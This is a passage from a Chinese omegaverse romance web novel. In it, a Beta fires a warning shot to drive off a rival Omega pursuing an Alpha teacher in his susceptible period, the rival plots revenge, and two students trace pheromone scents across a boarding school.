“不用扶我。”闻行屿面色苍白,棱角分明的嘴唇此刻也青紫得吓人,“去我原来住的地方,我的车就停在医务室旁边,你开车过去。” 他不敢再碰到白苏,皮肤接触对现在敏感状态下的他而言是一种促发,可能会让他彻底失控。 窗外磅礴大雨在呼啸而过的长风里斜斜落在青色砖瓦间,汇聚成潺潺水流,沿着屋檐坠落地面。 在屋檐与地面间,连成一道透明的水幕。 白苏开门时就被一阵雨水迎面刮到脸上,后退一步直接撞进了闻行屿怀里。 闻行屿还伸手扶了他一把:“小心。” 真分不清到底是谁照顾谁。 白苏手里握着车钥匙:“没事,咱们走!” 大雨倾盆而下,将整个世界笼罩在一层朦胧的水幕之中。 花园里的花卉在雨水的滋润下显得更加鲜艳,绿叶在雨中泛着光泽,远处山峦的轮廓在雨雾中若隐若现。 长发美人站在雨中,头发在雨中显得格外乌黑亮丽,几缕发丝贴在他的额头和脸颊上,令他多了几分生动可爱。 尽管如此,他并未因此分心,依旧全神贯注于画布。 他身上那件长及脚踝的雨衣在周遭的绿意里显得格外清新,雨水顺着衣摆滑落,形成一道道透明的水帘。 发动机的轰鸣骤然响彻天地,将这一幕人与自然共处的美好景象打断。 柳弦抬起头,只见两道雪白光束穿过浓郁的深绿树影照亮整片花园,越野车的轮廓在雨夜里依稀可见。 长发男人忽然站直了身体。 这个车牌,是闻行屿的车! “闻行屿!”柳弦不管不顾地冲上前,拦停了正在花园中间泊油路上行驶的越野车。 白苏视线里只看见黑漆漆的树林里有个透明雨衣的人在路肩上蹿下跳,于是疑惑地停下了车:“是谁?你认识的?” 闻行屿闭着眼,所有精力都用于克制信息素释放,实在腾不出精力和白苏说话。 “闻行屿?你们这是要去哪?” 夜色漆黑,狂风骤雨下树枝被吹得东倒西歪,可就是在这样见鬼的天气,白苏竟然在树影里看见了穿着防水雨衣的柳弦! 柳弦满脸狐疑盯着车内的两人,继续开口:“怎么是你开车?他怎么了?” 继迎面碰上边亲边脱衣服的AO情侣后,白苏今晚第二次两眼一黑。 为什么会在闻行屿易感期最脆弱的时候,正好碰见对闻行屿死缠烂打的追求者啊!! 柳弦下一句不会说出什么“我是Omega我可以帮助闻行屿度过易感期”然后就带着闻行屿去翻云覆雨吧!? 第23章 第 23 章 白莲花强抢发情老攻,白…… 夜幕低垂, 天空被厚重的铅灰色云层覆盖。 别墅的轮廓在雨幕中若隐若现,庭院中精心修建的树木在风中摇曳。 雨水被隔绝在玻璃窗之外,也将屋内的争吵声封锁在其间。 “我不要别人, 我就要他!我就要闻行屿!”柳弦难得说话这么大声,脸红脖子粗,快要急哭了。 柳恒头疼不已:“你现在翅膀硬了, 连哥哥的话都不听了是不是!” 柳恒真不知道这姓闻的究竟给自家平日懂事优雅温顺的弟弟吃了什么迷魂药, 竟然能让弟弟为了争取和他配对的机会,在家里这样打闹一出! 这么多年来, 柳恒几乎都没见过柳弦这样歇斯底里的模样。 真是完全没有个淑Omega该有的模样! 柳恒气不打一处来,又继续开口斥责:“Omega,尤其是咱们这种家庭的Omega,都是等着别人上门来提亲,或者是ABO配对中心那边的基因匹配结果出来之后再相看。你这样上赶着,像什么话!” 柳弦已经看出了家人的态度, 又被平日溺爱他的大哥骂, 顿时委屈了:“哥哥!我从小到大什么时候不听家里的话?让我去哪里念书, 我就去哪里!让我学艺术, 我就学” 他是那种说哭就能立刻哭出声的柔软小O,眼泪霎时间随着哭腔像是断了线的珠子般从眼尾滚落。 顺着姣好的侧脸,挂在尖下巴上, 看起来可怜巴巴的。 虽然生气, 柳恒终究还是疼弟弟,看着柳弦哭赶紧凑过去安慰:“好啦好啦,都是哥哥的错,不该对你吼,别哭了好不好?” 柳弦边接过哥哥递来的纸巾擦眼泪, 边说:“去问一句配对中心我和他匹不匹配,又不会怎么样” 自从第一次见闻行屿,看见闻行屿带着邪气的笑容时,柳弦就彻底沦陷了。 自此,他向所有能打听到消息的朋友打听,只要闻行屿会去的聚会活动,他都会强行挤过去。 可闻行屿一直对他爱答不理,令以往备受欢迎从未受挫的柳弦第一次尝到了追求失败的滋味。 但柳弦并未放弃,而是想通过柳家这层关系,直接联络闻家。 虽然他们家比不上闻家,但也是主城知名的艺术世家、书香门第。 以他这样美名远扬的Omega名望,闻家应该会同意的吧? 可柳弦没想到的是,自己刚向哥哥提出这个事情,就被哥哥劈头盖脸骂了一顿。 柳恒听柳弦还在嘀咕,该劝的话又都已经劝过,只好搬出了自己以前听过的秘闻作为杀手锏:“你应该知道,配对中心也要根据Alpha和Omega信息素是否兼容,来决定是否让两人配对吧?” 柳弦乖乖点头。 柳恒看着弟弟,再开口时语气沉沉:“闻行屿的信息素是一种未被jun方公开的生化武器,含有毒性,他这样的人怎么跟Omega配对?” “什么?”柳弦不可置信地瞪大了眼睛。 他听说过Alpha信息素的很多种味道,有人是植物类型,比如薄荷、檀香、雪松、玫瑰、薰衣草;有人是食物类型,比如草莓、蜜桃、巧克力;也有特殊一点的,比如皮革、烟草、酒精等。 但柳弦从未想过,会有人的信息素天然就是一种有毒性的气味。 柳恒冷笑一声:“闻家早就在担心这件事了,也去联系过几家比较合适的Omega,让配对中心从中做媒,看看基因匹配结果怎么样。” “然后呢?”这些都是柳弦以前从不知道的。 “基因配对结果都很不错,达到可以推荐的程度。但你知道么,”柳恒停顿片刻,言语间毫不掩饰幸灾乐祸,“那几个Omega甚至还来不及把采集信息素的罐子打开仔细嗅,就全都进医院了。” ABO配对中心将Omega和Alpha的基因匹配结果统计后,如果匹配程度超过85%,即可推荐二人结为连理。 而推荐之前还要经过一个步骤,就是看这对Omega和Alpha对彼此信息素味道的接受程度如何。 比如有人的信息素味道是螺蛳粉或是榴莲,对某些人来说是很香的味道,但对另一部分人却觉得非常难闻。 倘若连对方信息素味道都无法接受,又何谈标记配对? 水乳交融中,不论是Omega还是Alpha都不可能做到不释放信息素。 而且,AO在永久标记后,都会染上对方信息素味道,与自己原本信息素混杂成崭新的信息素气味。 柳恒听见的时候都觉得离谱,但想到是闻行屿,又觉得此事合理起来。 但柳弦却觉得,哥哥是在骗自己,想要委婉劝退自己嫁给闻行屿的念头。 于是柳恒刚想在奚落闻行屿两句,就听见柳弦坚定的声音:“我不信,我爱他,他的信息素不论是什么味道的,我都能接受!” “我的爱,能够克服世间的一切,才不会像那些只是看上闻行屿家世和外表的肤浅Omega那样因为区区信息素而放弃!” “如果我能闻到闻行屿信息素,我绝对不会像他们那样!” “因为我的爱,一定会让我觉得闻行屿的信息素很好闻的!!” 柳家当然不可能把闻行屿的信息素搞来让柳弦闻,只是把柳弦关在家里足足一个月,又把他的银行卡停了作为威胁。 自此柳弦老实了,也知道了柳家不愿站队闻家的事实,便不再和家人提起此事。 但他心中,仍然觉得,自己对闻行屿的感情能够克服艰难险阻,绝不是哥哥所说的信息素能够影响的。 再说了难道闻行屿这样的Alpha,会一辈子都没有一个Omega么? 这根本不可能。 如果闻行屿会有,那他柳弦一定要抓住机会做那个Omega。 之后,柳弦便阳奉阴违借口教书来到这所贵族男校,成了闻行屿的同事。 两人同处一个学校,见面的机会也多了起来。 只可惜,闻行屿平日压抑信息素气味,柳弦从未在他身边闻到过什么味道。 可就在同样的雨天里,柳弦第二次,也是第一次真正的,嗅到了闻行屿的味道。 闻行屿的,信息素,味道。 雨滴如同无数透明的箭矢,从乌云密布的天空中急速射落,击打在茂密的树冠上,发出密集而连续的沙沙声。 树木的枝叶在雨中摇摆,小溪和池塘的水面上,雨滴激起无数涟漪,一圈圈扩散开。 朗姆酒的味道在雨幕里极淡,似乎还混杂了些许蜜桃的清新芬芳,好似下一刻就会消失在大雨里。 柳弦是个会品酒的人,朗姆酒的味道他一闻便知。 没想到闻行屿的信息素味道这么好闻! 果然,当时哥哥就是骗他在胡乱说的,闻行屿的味道分明就是好闻的朗姆酒香! 浓厚醇香,哪怕味道很淡,柳弦也觉得自己好像在闻到的刹那就醉了。 醉得彻底,醉得心乱。 他心脏狂跳,脸颊浮起红晕,赶紧扶着越野车的倒后镜,执着道:“白苏!大半夜的,你要把闻行屿带去哪里!” 柳弦并不蠢笨,闻行屿这种往日从不释放信息素的人如今虚弱地靠在副驾驶椅背上,信息素味道又如此浓烈 至少是闻行屿这种平日闻不到任何味道的人身上,已经很浓烈的程度! 肯定是闻行屿进入易感期了! 柳弦心中一阵狂喜:此时自己的心上人身边只有一个Beta,无人可以替他缓解痛苦 如果自己此时恰到好处地出现,闻行屿在冲动下对自己做了什么 那之后,闻行屿这种负责任的Alpha肯定会和自己在一起的! 柳弦越想越激动,脸上现出疯狂的神色。 粗犷的轮胎碾过铺满落叶的小路,车灯的光线也惊扰了本在躲雨的生物。 一些小兽匆匆逃离光线的照射,消失在灌木丛中。 而一些夜行性的昆虫则被车灯吸引,它们围绕着灯光飞舞,形成了一片闪烁的光点。 长发Omega极力想要压抑却仍然明显的喜悦被白苏全然收入眼底,白苏警惕起来:“我们去哪儿你管得着吗?” 说罢,白苏便立刻重新挂挡,催动汽车继续向前开。 柳弦好似预料到了他会如此,立刻把身旁的巨大木制画架向着路上一推! 木架应声而倒,横亘在道路中间,高度大约到车轮的一半,顿时让车辆无法从路上通行。 “你!”白苏立刻刹车,气得不知道该说什么。 之前柳弦难为他,他都无所谓。 可是现在闻行屿处在易感期,白苏着实不敢让他在外面耽搁,更不想让他在柳弦面前多晃悠! 白苏想要倒车,可柳弦却在车后大张着手臂拦住了他们的去路! 一副死皮赖脸不让他们走的模样。 “我不知道你用什么手段能说动闻行屿跟你走,但是我绝对不会允许你这样的卑鄙小人带走他的!”柳弦声音洪亮地大喊。 “你本来就对他有意思,想要巴着他,你肯定是想借机占他便宜吧!” 白苏无语了。 这应该都是你本人内心的想法吧! 不要用自己肮脏的思想去揣测别人啊喂! 闻行屿思绪混沌,原本甚至听不清周围的声音在说什么。 此时柳弦尖锐的声音猛地闯入他混沌的思维世界,令他不耐烦地睁开了眼:“让开!” 闻行屿不知道柳弦为什么会在这里候着,但现在的他除了白苏,谁都不想看见。 柳弦正一脸道貌岸然看着自己和闻行屿的车:“闻行屿,你已经被他蒙蔽了!我不知道他对你说了什么,但你这样的情况,一个Beta能有什么用!” 白苏的脸色彻底黑了。 他先是转头从包里拿出一盒抑制剂递给闻行屿:“你先试试这个能不能用,乖。” 闻行屿没想到有朝一日自己还能被当成小孩哄,不由得唇角弯起。 但下一刻,闻行屿就笑不出来了。 因为他看见主驾驶的俊秀青年猛地拉开方向盘下方的内嵌置物格,从里面掏出了泛着冷光的Beretta 92。 这是一把对于这个年代而言非常老式的木仓,甚至显得有些复古。 但闻行屿很喜欢,由于职业和身份的原因,他一直把这把Beretta 92放在他的驾驶室内,方便取用。 白苏怎么会知道那里有木仓? 不过更重要的是白苏现在拿着木仓要去干什么。 白苏的动作很快,立刻为闻行屿解答了此刻的疑惑。 他打开车门,三两步跃至一旁人行道上,漆黑木仓口已经指向了柳弦:“我只给你五秒钟,给我让开!不让开,我就开木仓!” 雨水倾盆而下,刹那浇湿了白苏的头发和衣服,令那本就薄的布料紧紧贴着身体,氤氲出如雾般的热气。 柳弦人傻了,没想到原先一副小白兔模样的白苏会突然发难。 而且还是直接用木仓口指着自己! 柳弦却没有害怕,而是回呛:“你要是敢开木仓,你立刻就会被联邦的人抓起来!你Beta的命不值钱,我们Omega的可是值钱得很!有本事你就开啊!” 下一个瞬间,火星伴随着枪声猛地落在柳弦脚边的柏油公路路面上,打出一个深深的坑洞。 不偏不倚,正好落在柳弦鞋边的位置。 子弹沿着柳弦裤腿弹开,着实吓到了这本就没怎么见过世面的Omega。 坐在车里的闻行屿也听见一阵尖叫:“啊啊啊你是不是疯了!你会被抓起来,你会被施加几十个酷刑,你会被送上实验台变成人体实验的样本!你竟然敢开木仓!” 白苏右手握木仓,姿势冷酷而帅气,微微下蹲的持木仓姿势标准得不像话。 细密如线的透明雨丝里,木仓口冒出白烟。 “不让开,下一颗子弹就是对着你的身体打了。”白苏偏了偏枪口,琥珀色的眼睛在漆黑的夜晚透出一股狠意。 闻行屿从打开的主驾驶车门处可以看见白苏此时的状态,下意识觉得有些奇怪,可混沌的大脑又令他无法仔细思考。 只是白苏为了维护他而这样,让他心里不由得暖暖的。 像是在料峭北风和漫天冰雪里,坐在雪地里喝了杯热巧克力。 白苏说一不二的冷酷模样简直像是战斗系出身的那些疯子,柳弦已经害怕得双腿打颤,然后默默让开了。 虽然身体很诚实,但他嘴里仍旧骂骂咧咧:“你等着!你竟然敢对Omega开枪!你这个乡下来的土包子知道我是柳家的少爷么!不论是哪一个,都能让你坐牢!你等着吧白苏!” 柳弦虽然怕死,但又怎么舍得放下这块到手的肥肉? 错过这次机会,如果闻行屿已经用抑制剂缓解,那自己想再遇到闻行屿这样情难自已的时候,该有多难!? “下一周,不,明天,”柳弦还是想再用一次宫心计,“你就会在实验室里生不如死了,白苏,你好好想想啊!如果你放下木仓,让我带闻行屿去休息,我可以当作今天的一切都没有发生过!反正,你不可能从闻行屿身上得到你想要的东西的!” 柳弦深知,在他们这些世家里,Alpha最后都会选择一个Omega作为结婚对象。 所以他和闻行屿,当然要比和闻行屿和白苏在这样的时刻呆在一起更合适。 “我让你滚,已经超过五秒了!”白苏终于忍不住了,声音抬高开始倒数,“5!4!3!” 柳弦见他真的开始瞄准自己,吓得立刻往旁边跑去:“我走开就是了!别开木仓!” 白苏见他走开,立刻转身上车,一个利落地倒车碾过翠绿而饱含雨水的草坪,向着另一条路疾驰而去。 车轮快速转过,激起大片草地里的积水,尽数溅在柳弦的雨衣上。 甚至还有不少,直直溅到了柳弦引以为傲的脸颊皮肤。 柳弦立刻抬手,厌恶地抹去那些带着泥土的污水,表情逐渐扭曲:“白苏白苏!竟敢用木仓指着我!竟敢当着我的面抢走闻行屿!” 他顾不及到旁边避雨,立刻拿出手机开始打电话:“喂,是联邦Omega保护协会么?我要报J!我叫柳弦,我今天在学校里,被一个Beta持木仓袭击了!他不仅说要对我开木仓,还威胁我!你们一定要替我做主啊!” 对面说了什么,柳弦便将地址详细报给对方,又腔调委屈地继续说:“我被吓得不行,我很害怕他之后还会来找我,你们可以尽快来处理吗?” 听到答复后,柳弦笑意阴毒:“明天早上就来?好,太好了,谢谢你们!” 这个电话刚挂断,柳弦又立刻拨打了另一个电话:“喂,哥哥!刚才有个Beta,他用木仓指着我,我好害怕!” 柳恒本来就疼弟弟,接到电话霎时间惊了:“什么?你不是在学校里吗,他们都认识你,怎么会有人敢对着你举木仓?!” 柳恒所在的包厢刹那鸦雀无声。 包厢内灯红酒绿,灯光闪烁,又昏暗又暧昧,音乐强劲,位处某夜间club。 柳弦听见哥哥声音,立刻委屈得开始掉眼泪:“哥哥,他威胁我。他明知我是Omega,也知道我是柳家的人,可能他不知天高地厚根本不放在眼里吧,他开木仓了,打在我脚边,让我滚,否则他就要对着我开木仓” 柳家是有百年历史的“老钱”家族,虽然并没有富可敌国到能够与南宫家相提并论,但也是上流圈子里的常客、座上宾。 柳恒平日也享受着周围人的阿谀奉承,何时受过这样的屈辱? 谁不知道,柳弦是他柳恒心尖上的宝贝弟弟,含在嘴里怕化了,碰在手里怕摔了。 可现在,竟然有人敢用黑漆漆的木仓口对着他的宝贝弟弟,还开枪了!? 要是打到柳弦该怎么办! 柳恒想都不敢想。 柳恒旁边坐着的是他的朋友,此刻也开口问:“是小弦的电话吧?怎么了?” 另一个坐得远些正在和陪酒Beta嘴对嘴喂酒的Alpha也抬起头,手背随意一擦脸上的酒液,急急道:“小弦有危险?没事吧!” 大家都从小看着柳弦长大,也算是柳恒的半个哥哥。 若不是柳弦一心扑在闻行屿身上,恐怕就在柳恒这些朋友里找一个,也早就结婚了。 柳恒松开旁边搂着的美艳Beta,猛地站起身,已经因为愤怒而胸膛上下起伏着:“宝贝别哭,哥哥现在就过去给你出气,让那个Beta好看!” 其他几人也纷纷附和:“我们也去,倒要看看是什么人敢对着联邦最珍贵的资源开木仓!”“我都不敢,谁给这Beta胆子了。”“估计要上jun事法庭了吧,也有可能被施加酷刑,啧,真想亲眼看看他的惨状。” 柳恒也抓着手机继续说:“别怕,我们半个小时就到!你先找个安全的地方躲着,啊。你听见哥哥们说没有,这个Beta肯定会被处理的,如果你想让他被送去做人体实验,哥哥也会想办法帮你!” “好。”柳弦当然不会把事情的真正经过告诉他们,反正等到白苏被处理,就算哥哥再知道,也无法让白苏从实验室里活过来。 柳弦冷冷一笑,长黑发配合他苍白的带着诡异微笑的脸,在漆黑的树林里显得尤为诡异。 *** 战斗系宿舍以及教学区域坐落在山峦之上,宿舍楼体以坚固花岗岩构成,表面满是岁月风霜的刻痕。 夜凉如水,雨丝落在走廊的窗户上,细细密密模糊了窗外路灯的光晕。 钟离曜犹豫片刻,伸手按下隔壁宿舍的门铃。 里面的人开门的速度很快,一股潮湿而温暖的蒸汽扑面而来:“谁啊?” 钟离曜下意识退后一步,视线落在里面那人线条分明的锁骨上。 对方穿着宽领口的绿色睡衣,几颗未被擦干的水珠顺着脖颈弧线滑落锁骨,在那分明而突出的锁骨上方蓄起一湾闪着光泽的水渍。 水光刹那似乎闪了钟离曜的眼,令他几乎有些忘了自己本来按下门铃是为了什么。 脑海里全是漂亮的锁骨,还有对方看起来柔软的嘴唇。 “有事?”凌奈颇有些莫名其妙,把干毛巾搭在还未吹干的头上。 迎面而来的冷气弄得他鼻子发痒。 自上次说开后,两人关系和缓了不少,但也没有熟到晚上会去宿舍找对方的程度。 钟离曜回过神来,缓缓开口,视线不自然地避开凌奈嘴唇:“你有没有闻到信息素的味道?Omega的。” 凌奈蹙眉:“没有,我们这里怎么会有” 为了方便战斗系各年级学员统一调度,战斗系所有学生都住在同一个宿舍园区的一栋楼内。 而且就凌奈了解,战斗系里根本没有Omega,也不允许Omega入学战斗系。 “我房间关了窗在开暖气,没闻到。”凌奈并不怀疑钟离曜的嗅觉,能和自己做对手的人,自然值得他的信任。 “你跟我来。”钟离曜说完这句话后默不作声走在前面。 凌奈不疑有他,关上房门后跟着钟离曜走进钟离曜的宿舍。 学生宿舍的布局结构大差不差,经过入门玄关后是开阔的客厅和餐厅,然后往外走是阳台。 与凌奈宿舍不同的是,钟离曜的房间整洁异常,所有东西都摆放得井井有条。 用凌奈的话来说,简直像是样本间,不像是有人住的地方。 两人穿过客厅,一起来到钟离曜宿舍的阳台,凌奈立刻意识到了事情的不对:“我靠,这?这是楼上的味道。” “对。”两人判断一致,钟离曜便肯定了自己方才的判断。 “有人把Omega带到宿舍里来了?还是个发情的Ommega?他没事吧?”凌奈CPU差点□□烧了。 难道这人胆大包天到不明白Omega对于这一整栋楼身强体壮的正处于躁动青春期的Alpha而言是一种多大的诱惑么? 就算是为了刺激,也不该把自己的Omega伴侣置身在这样的危险下。 更何况,战斗系对学生有着诸多规定约束,其中就包括绝不允许带Omega进入战斗系管辖区域。 “味道很淡,他们已经离开了。”钟离曜目光沉沉,“我总觉得事情没这么简单。” 凌奈抬头看他:“为什么这么说?” “因为这种气味,我不是第一次闻到了。”钟离曜看向凌奈。 闪电骤然划破夜空,照亮贵族男校内大片的树林绿植以及建筑物。 战斗系宿舍坐落在学院的高点,刹那的光亮里俯瞰视野一览无余。 凌奈看见了树林枝叶间躲雨的黑尾鸟类,也看见了远处商学院猎猎作响飘在半空的旗帜。 “想搞清楚这事儿?”凌奈挑眉,带着点促狭的目光看向钟离曜。 钟离曜直接承认了:“是。” 他一向是个有探究精神的人,对他感兴趣的时候一定要打破砂锅问到底。 凌奈蓦地笑起来,痞气的脸因那率真笑容显得多了几分稚气,看得钟离曜心跳加速,一时之间无法挪开自己的目光。 钟离曜似乎从来没见过凌奈这么笑。 凌奈的笑可以是嘲讽的,可以是傲慢的,可以是敷衍的。 可很少这样,像是发自内心的,像凌奈本人一样的,可爱的笑。 真好看,不论怎么看都很好看。 凌奈兀自笑了一阵,才说:“等我五分钟,我们去找那味道往哪儿去了,怎么样?” 他抬起头时才发现钟离曜疏离目光直直落在自己脸上,幽深玄黑的眸子似乎要把自己盯出两个洞来似的。 凌奈的笑容收起,不明所以问:“看着我干嘛。” 难道是他刚才笑得太傻? “好。”钟离曜点头,看着离自己咫尺距离的Alpha又变回往日对什么都无所谓的痞酷模样,心中不免有些淡淡的可惜。 而凌奈转身往回走:“我回去换个衣服,把头发吹干。” 钟离曜瞥见他抬手揉了揉脸颊,却不知他此时心中想的是:以后绝对不能笑得这么傻了,免得平白被钟离曜笑话。 *** 街灯投下昏黄的光晕,雨丝在灯光下闪着银光,如无数细针从天而降,密密麻麻地编织着夜的静谧。 高大身影自雨幕里缓缓行来,坚硬质地的皮靴落在湿漉漉的人行道上发出清脆的声响。 男人逐级而上,在屋檐下抖落雨伞上的水珠,水滴在地面上溅起一朵朵水花。 走近校医室这栋建筑的时候,塔利亚就感觉事情不妙。 除了朗姆和蜜桃的味道,空气里多了一股更加蛮横、也更加危险的气味。 哼哧哼哧干了一整夜体力活,犁地犁得满脸傻笑的塔利亚重返校医室,人却傻了。 “这里怎么一股闻哥的味道!”塔利亚甚至不敢多吸两口。 他怕自己因为顶不住闻行屿信息素直接晕过去。 下雨天又是半夜,塔利亚本以为就算安顿好赫克托尔再过来处理校医室的混乱现场也来得及,可此时发现闻行屿那不仅是刺鼻的信息素气味已经盖过自己和赫克托尔的信息素时,霎时间汗流浃背了。 闻行屿怎么会半夜跑到校医室来? 难道他闻到自己和赫克托尔的味道了?! 这里一片狼藉,闻行屿肯定发现了! 塔利亚的心跳加速,眼前似乎已经浮现出一身黑衣的冷峻男人走进校医室时戏谑挑眉,再随手打开窗户通风的散漫模样。 窗户大开着,任由铺天盖地雨水顺着狂风涌入,细密雨珠洒在浅色木制地板上,也将床单的一片狼藉重新浸润。 但塔利亚即使才入学两个月,也明白闻行屿散漫外表下并非如此。 如果闻行屿铁了心要清退赫克托尔,那他们就都完了! 如果闻行屿上报战斗系和学校,那赫克托尔绝对会被赶走的! 塔利亚快速收拾完校医室,将床单换好,又将各种凌乱痕迹抹去,立刻开始拨打闻行屿的电话。 他脖子上仍有许多暧昧的红肿与咬痕,此时却都无暇顾及。 电话“嘟嘟”地响了许久,依旧无人接听。 塔利亚顾不上太多,满心想着要赶在天亮之前劝说闻行屿,便立刻向闻行屿的住处赶去。 他知道闻行屿住在哪里,就在粉月季花墙旁边那栋房子! 只要晓之以情动之以理向闻行屿说明,相信闻行屿不会这么冷酷的! *** 暖黄灯光照亮围绕院落的木制围墙以及满墙的粉色月季。 月季花的花瓣层层叠叠,细腻而柔软,在微风细雨中轻轻摇曳。 粉色的花朵在灯光的映衬下,呈现出深浅不一的色调,从淡雅的浅粉到浓郁的玫红一路渐变。 空气中弥漫着月季花的香气,混杂着雨后的泥土气味。 白苏停下车时心跳依旧没有平静下来:“到了,我扶你。” 熄火后雨刮器停下,此时细碎雨滴再次落满前窗,将窗外的灯光与景色折射出光怪陆离景象。 “刚才好帅啊,哥哥。”闻行屿开口时声音虚弱,但依旧是调侃的语气。 白苏叹口气:“你还有心思开玩笑呢,刚才要是被柳弦拦住,你就要被占便宜了!” 刚才拔木仓确实有点太夸张,白苏此刻也有点担心柳弦真的会在之后找自己麻烦,比如报J。 可当时他确实气狠了。 他讨厌柳弦眼里透出的那种带着欲望的光,尤其是那光芒是为了闻行屿而亮。 白苏恼怒柳弦的厚脸皮,想趁人之危的无耻。 白苏自知自己是个鹌鹑性格,没想到有一天竟然会为了才认识没多久的人,敢拿起木仓指着另一个人让他“滚”。 也不知道是不是在床底偷听的时候吸入了太多塔利亚的朗姆酒信息素,白苏觉得自己好像比平日要更虎更勇一点。 不过现在仔细想想,对付这样的人,只有这样武力威胁的手段是最有效的,其他的都不顶用。 为了早点把闻行屿带走,让闻行屿好好休息并使用抑制剂,他只能出此下策。 “谢谢,”闻行屿垂眸,挡住目光里涌出的阴暗占有欲,“我自己回去就好,你开车走吧。” “那怎么行!”白苏有些着急,立刻开腔反驳,“我得看着你用抑制剂,好转了我才能走!” 白苏颇为自责,因为这一切都因他而起,如果不是闻行屿为了陪他,根本不用受这个罪。 闻行屿摇头:“你回去吧。” 白苏再不走,他的理智真的要溃堤了。 这次的易感期来得很突然,不像前几次那样会有提前几天的预兆,比如焦躁失眠之类的症状。 所以闻行屿完全没想到,会突然进入易感期。 以往一旦他感觉到有进入易感期的征兆,他就会算着时间把自己锁进能隔绝信息素的特制地下室,直到易感期过去,再从里面出来。 整个过程痛苦而折磨,不见天日,就算是闻行屿这种自诩意志力坚强的人,也感觉非常难捱。 一想到要再次经历,无论是精神还是身体,都充斥着抗拒的情绪。 白苏一言不发打开车门下了车,走到闻行屿那边拉开车门:“下来吧。” 玻璃搭建的三层别墅在灯光的照射下,玻璃外墙反射出璀璨光芒,颇具现代科技感。 几张精致的躺椅被摆放在院子中,躺椅上铺着柔软的垫子,旁边的小桌上放着一盏复古的仿煤油照明灯。 茶色玻璃里的火种在风雨里晃动着,像是某种巨兽浑浊的金色眼睛。 闻行屿被白苏搀扶着下来,靠在自己别墅的门边:“回去吧,很晚了。” 莫名其妙的,口是心非的,他的内心好像忽然有个声音在说—— “如果他能留下来就好了。” “至少你就不用一个人孤独地煎熬,你明知道只要你一句话,他就会留下来的,不是吗?” “开口啊!他就要走了!快恳求他留下啊!” 闻行屿搭在腿侧的手微微抬起,可转瞬间又重新垂落在旁。 院子里的暖黄灯光逆着光照在白苏消瘦单薄的背影上,令他的神色有些晦暗不明。 闻行屿沉默着等待他离开,可却等来了对方的一个箭步上前:“说什么胡话!要是柳弦又找到这儿来呢!要是南宫槿那个狗鼻子又闻到你味道了要来找你麻烦呢!” 白苏大眼睛里盛满真切的关心,琥珀般澄净的眼睛里此时只装着闻行屿一个人。 满满当当,像是再也装不下其他任何人、任何东西。 闻行屿开口时声音很哑,唇边带着笑:“不用我挽留。” 就算不挽留,白苏也一样会为自己留下来。 勇敢地举起木仓,是为了他。 变成和素日乖巧小兔完全不同的果断勇敢模样,是为了他。 即使柳弦那样威胁白苏,说要让白苏坐牢,让白苏被处以极刑,白苏也不曾退缩。 明明之前因为害怕被辞退,就会六神无主的无措小Beta,却敢在为了他,冒着坐牢的风险去开木仓威胁Omega。 “什么?”白苏迷茫地看着他,好似又变回了往日小白兔的模样。 闻行屿的笑意愈发深了,尽管脑海中天旋地转,却也无法抹去他心里疯狂涌出的喜悦。 他好高兴。 高兴白苏竟然这么在乎他。 身体的本能和汹涌的情感冲破苦苦支撑早已不堪一击的桎梏,将理智的防线摧枯拉朽地彻底摧毁。 “去地下室吧,那里能隔绝信息素,我的信息素比较特别,最好不要让别人闻到。”闻行屿解释着。 Beta闻不到信息素,反而成了此刻他能够让白苏在他身边的免死金牌。 白苏扶着他走进去,刹那被里面的装潢惊呆了。 手铐、用来固定身体的束缚带、镇定剂药瓶 这哪是地下室,这简直是审讯犯人用的地方啊! “你之前用过这些东西吗?”白苏问出这句话时,声音都在发抖。 他不敢想象闻行屿是怎样把自己拷在里面,度过看不见日月星辰的每天。 闻行屿没有回答。 来到这里关上门后,他彻底放松了戒备,可以随意坐在沙发上,哪怕是突然昏迷也没关系。 门只能从里面打开,所以他绝对安全。 “闻行屿?”白苏越想越心惊,看着英俊男人满脸冷汗,又是担心又是自责,“你还好吗?” 白皙指尖轻轻抚过满是汗水的额头,却忽然被一把攥住。 白苏被一把扯向闻行屿,狼狈地倒进对方怀里,两人一同栽倒在沙发上。 “哥哥,我特别难受”闻行屿眯着眼,似乎开始发烧了般,脸颊晕开一团不正常的绯红。 白苏急得要哭了:“你别吓我啊,你你用点抑制剂吧!你为什么这么犟啊!” 闻行屿一直在说什么抑制剂没用,白苏也不知道是不是真的。 闻行屿在一片模糊里抬起手,轻触那双闪烁着星光的杏眼。 湿润触感落在他曲起的指节,凉凉的。 星光原来是泪光。 筑起高墙的心防在那颗坠落的闪烁着光芒的泪珠里被尽数摧毁,闻行屿的理智也在分崩离析。 占有欲像是可怖的怪兽,爬上困住他已久的断壁残垣,肆意进军。 闻行屿收紧手臂,灼热的吻径直落在白苏布满青紫血管痕迹的雪白脖颈上。 第24章 第 24 章 攻受の亲密接触场合(上…… 深夜, 雨渐渐收敛了它的锋芒,从瓢泼大雨转为淅沥的细雨。 红砖小楼在雨后透出一种温暖的色调,树叶和草尖上挂着晶莹的水珠, 在微弱的灯光下闪烁着,像是镶嵌在绿色绸缎上的宝石。 两旁的草丛中偶尔传来蟋蟀的鸣叫声,为这个宁静的夜晚增添了一丝生机。 深夜, 校医室迎来了第三波人。 蜜桃气味浅淡而芳香, 一缕香魂弥漫窗棂。 朗姆酒的气味环绕着床第,但这两种味道都被另一种刺鼻的、带着强势冲击的侵略性气味所掩盖。 “闻哥怎么也刚来过这里?”凌奈神色复杂, 感觉事情越来越严重了。 两人追着那阵桃子香味来到校医室的建筑,却发现闻行屿的信息素味道比其他人的信息素更加浓重。 要不是两人都接受过闻行屿的特别训练,能够抵抗闻行屿的信息素,否则估计当场就得晕过去。 闻行屿的信息素气味特别,凌奈不可能闻错。 根据凌奈这一年多以来对闻行屿的了解,闻行屿在除了需要释放信息素进行对抗训练的时候, 绝对不可能放出这么大量的信息素被其他人察觉。 钟离曜也学着凌奈用衣服袖子遮挡口鼻, 声音变得有些模糊不清:“白朗姆的味道, 是我们下一届的学弟。” “那蜜桃味的Omega是他男朋友?”要不是闻行屿这变态信息素, 凌奈还真想猛吸两口看看是什么味道。 钟离曜摇头:“不清楚。你还想继续查么,还是回去?” “查吧,我们是直接找闻哥, 还是找那个叫塔利亚的新生?”凌奈走进校医室的遮挡帘后, 霎时间被一地纽扣和凌乱的床单惊呆了:“我靠。” 钟离曜跟着他进来,在看见同样景象后轻轻抿唇,没有说话。 地上的袜子、内ku、领带,还有床单上的各种不明液体,很明显就是刚才有人在这里大干了一场啊! 若不是信息素的味道太浓郁, 凌奈恐怕隔着老远就能闻到这股恶心味道。 